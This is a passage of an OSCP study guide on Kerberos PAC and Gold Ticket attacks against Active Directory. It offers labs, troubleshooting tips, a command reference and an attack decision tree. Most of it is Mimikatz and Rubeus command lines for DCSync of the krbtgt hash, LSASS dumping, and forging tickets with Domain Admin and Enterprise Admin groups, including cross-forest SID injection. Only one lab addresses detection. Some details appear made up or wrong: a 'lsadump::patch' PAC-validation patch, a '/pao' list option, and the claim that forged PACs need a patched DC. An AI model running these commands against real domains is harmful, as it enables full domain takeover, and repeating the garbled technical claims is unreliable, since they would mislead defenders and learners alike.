Exam Weight: Medium-High
PAC Binding Attacks are part of the broader Kerberos attack family, which is frequently tested on the OSCP exam. While you may not see a dedicated “PAC attack” box, understanding PAC is essential for:
- Gold Ticket attacks — The PAC is a core component of Gold Tickets
- Domain escalation paths — Many AD boxes require Kerberos manipulation
- Understanding AD authentication — PAC explains how group memberships are enforced
What to Know for the Exam
| Topic | Exam Relevance | Must Know? |
|---|---|---|
| What PAC is and why it exists | Medium | Yes — conceptual understanding |
| PAC structure (Logon Info, Domain Info blocks) | Low | Nice to know |
lsadump::patch command |
High | Yes — frequently used in AD boxes |
kerberos::golden with /groups |
High | Yes — Gold Ticket creation |
| PAC Signing Key vs krbtgt hash | Medium | Yes — know the difference |
| PAC attack detection | Low | Nice to know |
| Manual PAC forgery | Low | Not required for OSCP |
Exam Tips
lsadump::patchis your friend — When you have SYSTEM on a DC and want to create a Gold Ticket that works, always patch first- The
/groupsparameter is critical — Without it, your Gold Ticket won’t include admin group memberships in the PAC - PAC issues are a common Gold Ticket failure mode — If your Gold Ticket doesn’t work, the PAC might be the issue (try
lsadump::patch) - Know the RID values — 500 (Administrator), 512 (Domain Admins), 519 (Enterprise Admins)
/pttflag — Always use Pass-the-Ticket to inject the forged ticket into your session
Related Exam Topics
PAC attacks connect to these other exam-relevant topics:
- Gold/Silver Tickets — PAC is embedded in both
- DCSync — Often the prerequisite for obtaining krbtgt hash
- Credential Dumping — LSASS access is needed for
lsadump::patch - Pass-the-Ticket — The delivery mechanism for forged tickets
- Kerberoasting — Another Kerberos attack vector on the same boxes
13. Lab Practice Suggestions
Lab 1: PAC Structure Analysis
Goal: Understand what a PAC looks like in the wild.
# On a domain-joined machine:
# 1. List current Kerberos tickets with PAC info
kerberos::list /pao
# 2. Analyze the PAC contents
# Look for:
# - User SID
# - Group SIDs (token groups)
# - Privileges
# - Domain info
# 3. Compare PACs for different users
# Log in as different users and compare PAC sizes and contents
Expected Learning: You’ll see how group memberships map to PAC entries and understand the PAC structure.
Lab 2: Gold Ticket with PAC Groups
Goal: Create a Gold Ticket with specific group memberships.
# Prerequisites:
# - Access to a lab domain
# - krbtgt hash (obtain via DCSync if you have DA)
# - Domain SID
# 1. Get domain SID
whoami /user
# 2. Get krbtgt hash
lsadump::dcsync /user:krbtgt /domain:LAB.LOCAL
# 3. Create Gold Ticket with admin groups
kerberos::golden /user:labuser /domain:LAB.LOCAL `
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
/krbtgt /rc4:<krbtgt_hash> `
/id:1001 /groups:512,513 `
/startoffset:0 /endin:600 /renewmax:10080 /ptt
# 4. Test access
dir \\DC01.LAB.LOCAL\C$
# 5. Now try WITHOUT /groups parameter
# Notice the difference in access
Expected Learning: Understand how the /groups parameter affects PAC contents and access.
Lab 3: PAC Patching on DC
Goal: Practice the full PAC attack chain.
# Prerequisites:
# - SYSTEM access on a lab DC
# - krbtgt hash
# 1. Patch PAC validation
lsadump::patch
# 2. Create Gold Ticket
kerberos::golden /user:attacker /domain:LAB.LOCAL `
/sid:<domain_sid> /krbtgt /rc4:<krbtgt_hash> `
/id:500 /groups:512,513,518,519 /ptt
# 3. Verify access to all domain resources
dir \\DC01.LAB.LOCAL\C$
dir \\FILESERVER.LAB.LOCAL\C$
# 4. Test DCSync
lsadump::dcsync /user:Administrator /domain:LAB.LOCAL
# 5. Reboot the DC and test again
# Notice that lsadump::patch does NOT persist
# The Gold Ticket's PAC will fail validation after reboot
Expected Learning: Understand the non-persistent nature of lsadump::patch and the difference between patched and unpatched PAC validation.
Lab 4: Detection Practice
Goal: Set up detection for PAC attacks.
# 1. Enable verbose Kerberos logging
# On the DC:
# Group Policy → Computer Configuration → Admin Templates → System → Kerberos
# Enable "Kerberos debugging"
# 2. Create SIEM/Splunk queries for detection
# Query: Event 4769 without corresponding 4768
# Query: LSASS handle access from non-standard processes
# 3. Perform the attack and verify detection
# Run the Gold Ticket attack and check if your detection rules fire
14. Common Pitfalls and Troubleshooting
Pitfall 1: Gold Ticket Doesn’t Work — PAC Issue
Symptom: You created a Gold Ticket with kerberos::golden, but dir \\DC\C$ returns “Access Denied.”
Root Cause: The PAC in your forged ticket has an invalid signature. The DC rejects it during PAC validation.
Fix:
# Run lsadump::patch on the DC first, then create the ticket
lsadump::patch
kerberos::golden ... /ptt
Pitfall 2: Wrong Domain SID
Symptom: Ticket is created but authentication fails with “The target account name is invalid.”
Root Cause: The /sid parameter doesn’t match the actual domain SID.
Fix:
# Get the correct domain SID
whoami /user
# Use the S-1-5-21-XXXXXXXX-XXXXXXXX-XXXXXXXX part (without the RID)
# Or:
Get-ADDomain | Select-Object DomainSID
Pitfall 3: Wrong krbtgt Hash
Symptom: “Encryption type not supported” or ticket creation fails.
Root Cause: The krbtgt hash is incorrect or you’re using the wrong format.
Fix:
# Ensure you have the correct hash format
# Mimikatz expects the NTLM hash in lowercase hex (32 characters)
# Re-extract if needed
lsadump::dcsync /user:krbtgt /domain:DOMAIN.LOCAL
# The hash should look like: aad3b435b51404eeaad3b435b51404ee (LM) and <32-char-hex> (NTLM)
# Use the NTLM hash (second value) for /rc4 parameter
Pitfall 4: Missing /krbtgt Flag
Symptom: Ticket is created as a service ticket instead of a TGT.
Root Cause: Forgot the /krbtgt flag in the kerberos::golden command.
Fix:
# Always include /krbtgt for Gold Tickets
kerberos::golden ... /krbtgt ...
Pitfall 5: lsadump::patch Fails
Symptom: “Error patching LSASS” or the command hangs.
Root Cause:
- Not running as SYSTEM
- Not on a Domain Controller
- AV/EDR blocking the memory modification
Fix:
# Ensure you're SYSTEM on a DC
whoami
# Should show: NT AUTHORITY\SYSTEM
# If on a remote shell, ensure you're connected to the DC
# If AV is blocking, try from a different context or disable AV temporarily (lab only)
Pitfall 6: Ticket Not Injected
Symptom: klist shows no new ticket after running kerberos::golden.
Root Cause: Forgot the /ptt flag, or the ticket was saved but not injected.
Fix:
# Option 1: Use /ptt flag
kerberos::golden ... /ptt
# Option 2: Save and manually inject
kerberos::golden ... /ticket:gold.kirbi
kerberos::ptt gold.kirbi
Pitfall 7: Cross-Forest PAC Issues
Symptom: Gold Ticket works in the local domain but not in trusted forests.
Root Cause: The PAC needs the correct forest SID and cross-realm references.
Fix:
# Include the forest SID and appropriate cross-realm data
kerberos::golden /user:attacker /domain:CHILD.LOCAL `
/sid:CHILD_SID /sids:ROOT_SID `
/krbtgt /rc4:<hash> /ptt
# /sids adds additional SIDs to the PAC for cross-forest trust
15. Quick Reference
Essential Commands
# === PAC Analysis ===
kerberos::list /pao # List tickets with PAC info
# === PAC Attack Chain ===
lsadump::patch # Patch PAC validation on DC
kerberos::golden /user:X /domain:Y /sid:Z /krbtgt /rc4:H /id:500 /groups:512,513 /ptt
# === Supporting Commands ===
whoami /user # Get domain SID
klist # List Kerberos tickets
klist purge # Remove all tickets
lsadump::dcsync /user:krbtgt # Get krbtgt hash
# === Rubeus Alternatives ===
Rubeus.exe triage # List tickets
Rubeus.exe golden /user:X /rc4:H /sid:Z /domain:Y /ptt
Important RID Values
| RID | Group/Account |
|---|---|
| 500 | Administrator |
| 501 | Guest |
| 502 | krbtgt |
| 512 | Domain Admins |
| 513 | Domain Users |
| 514 | Domain Guests |
| 515 | Domain Computers |
| 516 | Domain Controllers |
| 518 | Group Policy Creator Owners |
| 519 | Enterprise Admins |
| 520 | Account Operators |
| 521 | Server Operators |
| 526 | Allowed RODC Password Replication Group |
Important SIDs
| SID | Meaning |
|---|---|
| S-1-5-32-544 | BUILTIN\Administrators |
| S-1-5-32-545 | BUILTIN\Users |
| S-1-5-32-551 | Enterprise Domain Controllers |
Attack Decision Tree
Do you have SYSTEM on a DC?
├── YES → lsadump::patch → kerberos::golden → /ptt → Done
└── NO
├── Do you have krbtgt hash?
│ ├── YES → kerberos::golden → /ptt → Test (may need patched DC for PAC)
│ └── NO
│ ├── Can you do DCSync? (DA/Enterprise Admin/Replication rights)
│ │ ├── YES → lsadump::dcsync /user:krbtgt → Get hash → Gold Ticket
│ │ └── NO → Consider other attack paths (Silver Ticket, etc.)
│ └── Can you dump LSASS on DC?
│ ├── YES → sekurlsa::logonpasswords → Get krbtgt → Gold Ticket
│ └── NO → Pivot to gain DC access first
Key Takeaways for OSCP
- PAC = Authorization data in Kerberos tickets — It’s how AD tells services what groups you’re in
- PAC Signing Key ≠ krbtgt hash — They serve different purposes (signing vs encryption)
lsadump::patch+kerberos::goldenis the standard PAC attack combo in Mimikatz- The
/groupsparameter inkerberos::goldencontrols what group SIDs appear in the PAC - PAC validation happens at the DC — Services don’t have the signing key, so they call back to the DC
lsadump::patchis NOT persistent — DC reboot kills the patch- Gold Tickets with invalid PACs may still work against services that don’t strictly validate, but patching is the reliable approach